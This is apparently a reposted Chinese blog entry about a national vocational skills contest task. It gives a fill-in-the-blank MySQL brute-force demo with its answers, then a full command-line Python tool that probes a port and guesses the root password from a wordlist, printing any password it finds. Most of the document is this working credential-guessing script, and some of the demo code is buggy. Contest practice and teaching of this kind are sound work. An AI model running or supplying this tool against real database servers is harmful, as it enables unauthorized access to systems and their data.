zoukankan      html  css  js  c++  java
  • 全国职业技能大赛信息安全管理与评估-MySQL爆破脚本

     

    DEMO:

    #coding=utf-8 
     
    import MySQLdb
     
    class MSSQL:
       
        def __init__(self,host,user,pwd):
            self.host = host
            self.user = user
            self.pwd = pwd
     
     
        def connect_dp(self):
            conn = MySQLdb.connect(host=self.host,port=Flag3, user=Flag4,passwd=self.pwd,db='mysql',)
            cur = conn.cursor()
            if not cur:
                raise(NameError,"failed connect to sql server")
            else:
                return self.pwd
     
    def main():
        fp = open('/root/superdic.txt','r')
        for password in fp.readlines():
            try:
                a = MSSQL(host=Flag1,user='root',pwd=Flag2)
                ms = a.connect_dp()
                print password.strip()
            except:
                pass
        if not s:
            print 'brute failed'
        fp.close()
    if __name__ == '__main__':
        main()
    #Flag1 = "127.0.0.1"
    #Flag2 = password.strip()
    #Flag3 = 3306
    #Flag4 = self.user

    分析赛题:
    赛题主要是考察了类的传参和读写文件时候的去除换行符

    代码是分析赛题后构思实现, 因为是自己想到哪写到那,哪里不会百度哪里,就出了一堆BUG~~MMP

    函数:
    0.printBanner()打印出banenr信息 没什么卵用
    1.sqlConnect()核心函数,使用pymysql库连接mysql数据库,这里需要注意下端口是int,还有一点是使用connect函数的时候,如果要指定端口,最好写成host=szhost,port=szport,这种=号的传参方式
    mysql密码错误抛出的异常是
    pymysql.err.OperationalError: (1045, "Access denied for user 'root'@'192.168.64.130' (using password:YES)")
    我用了 "1045" in "抛出的异常" 来判断是否是密码错误,绝对不能直接except出去,因为这个函数会抛出很多异常,比如端口连接失败.连接成功后我执行了一条sql语句用来查询数据库的版本 对~这条语句也会抛出异常 但是这个我没有except~毕竟是个玩具写的老累了.我换了另一种方式,只要是1045错误的异常我都判断成密码认证错误,如果是其他的异常就完整打印出来信息,如果说用户体验什么的话·的确一堆乱七八糟的异常信息会让人很不舒服,但~这是个玩具~~~这样我查错就更方便了..
    2.connectTest()连接mysql之前首先判断端口是否能连接

    代码逻辑:

    参数检查:
    0.检查-i和-d后是否带参数 False=》exit() print(help)  True=> 去 1
    1.检查-p后是否带参数,False=》使用默认的3306端口 True =》使用指定的端口
    2.使用connectTest函数检查目标端口是否开放 False =》exit() print("端口未开放") True => 去3
    3.检查字典文件是否存在 False=》exit() print("字典文件无法打开") True=>去4
    4.打开字典文件
    5.用for in 递归字典文件代码每一行 赋值给另一个变量 这个变量作为密码传进sqlconnect函数

    #!/usr/bin/python3
     
    import pymysql
    import os
    import optparse
    import socket
    import sys
    import time
    import threading
    count = 0
    def printBanner():
        banner = '''
     _____ _   _  ____ _  __     __  ____   ______   ___  _     
    |  ___| | | |/ ___| |/ /    |  /    / / ___| / _ | |    
    | |_  | | | | |   | ' /_____| |/| | V /\___ | | | | |    
    |  _| | |_| | |___| . \_____| |  | | | |  ___) | |_| | |___ 
    |_|    \___/ \____|_|\_    |_|  |_| |_| |____/ \__\_\_____|
                                                    v1.0 R4bbit'''
        print("33[0;31m"+banner+"33[0m");
    def connectTest(host,port):
        socket.setdefaulttimeout(0.1)
        ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            ser.connect((host,port)) #链接成功 记得close()
            print("[+] Target Port:%d" % port)
            time.sleep(1)
            print("[3]..........");
            time.sleep(1)
            print("[2]..........");
            time.sleep(1)
            print("[1]..........");
            ser.close();
            return True;
        except Exception as e:
            print("目标端口无法访问");
           # print("Error"+str(e));
            return False;
     
    def sqlConnect(szhost,szport,szpassword): #链接默认的数据库名Mysql
        global count
        count += 1
        sql = "select version();"
        try:
            db = pymysql.connect(host=szhost,port=szport,user="root",password=szpassword,db="mysql")
            cursor = db.cursor() #获取mysql游标
            if cursor:
                #print("
    ")
                cursor.execute(sql)
                mysql_ver = cursor.fetchone();
                szStr = "Password is:"+"33[0;31m"+szpassword+"33[0m"
                print("
    "+szStr)
                print("MysqlVersion():33[01;31m%s33[0m" %(mysql_ver))
                exit()
           # cursor.execute(sql);
        except Exception as e: 
            #1045 密码错误 去匹配这个1045
            if "1045" in str(e):
                print("
    [%d]:%s" % (count,szpassword),end=".");
            else:
                print("[-] Error %s" % str(e));
     
     
    def main():
        printBanner();
        parser = optparse.OptionParser("Usage -i <ip> -p <port> -d <dict_file>");
        parser.add_option('-i',dest='ip',type='string',help = 'ip no')
        parser.add_option('-p',dest ='port',type = 'string',help = 'port no')
        parser.add_option('-d',dest='dict_file',type='string',help = 'no dict')
        (options,arg) = parser.parse_args()
        if(options.ip == None) | (options.dict_file == None):
            print(parser.usage)
            exit()
        mysql_ip = options.ip;
        if(options.port == None): #如果没有给出端口 默认就是3306
            mysql_port = 3306;
            print("[+] Use Default Mysql Port:%d" % mysql_port)
        else:
            mysql_port = int(options.port)
            print("[+] Use Mysql Port:%d" % mysql_port)
        mysql_dict = options.dict_file;
        print("[+] Use DictFile:%s" % mysql_dict)
        #判断目标端口是否开放
        time.sleep(2);
        if connectTest(mysql_ip,mysql_port):
            if not os.path.exists(mysql_dict):
                print("[-] %s字典文件 无法访问" % mysql_dict)
                exit(1)
            fp = open(mysql_dict,"r")
            for mysql_pass in fp.readlines():
                sqlConnect(mysql_ip,mysql_port,mysql_pass.strip())
     
     
     
    if __name__ == '__main__':
        main();

  • 相关阅读:
    Fatal error: Maximum execution time of 30 seconds exceeded in
    常见变量命名规则
    Rust使用国内镜像安装依赖
    flutter使用国内镜像源
    7个每天晚上应该坚持的好习惯
    网络数据传输格式的思考
    Deepin安装 ruby 包管理工具 RVM(适用于 Debian 系列)
    C语言数据类型关键字
    win10 powershell禁止运行脚本解决
    Linux 查看系统相关信息(系统发型版本及内核版本等)
  • 原文地址:https://www.cnblogs.com/nul1/p/10990140.html
Copyright © 2011-2022 走看看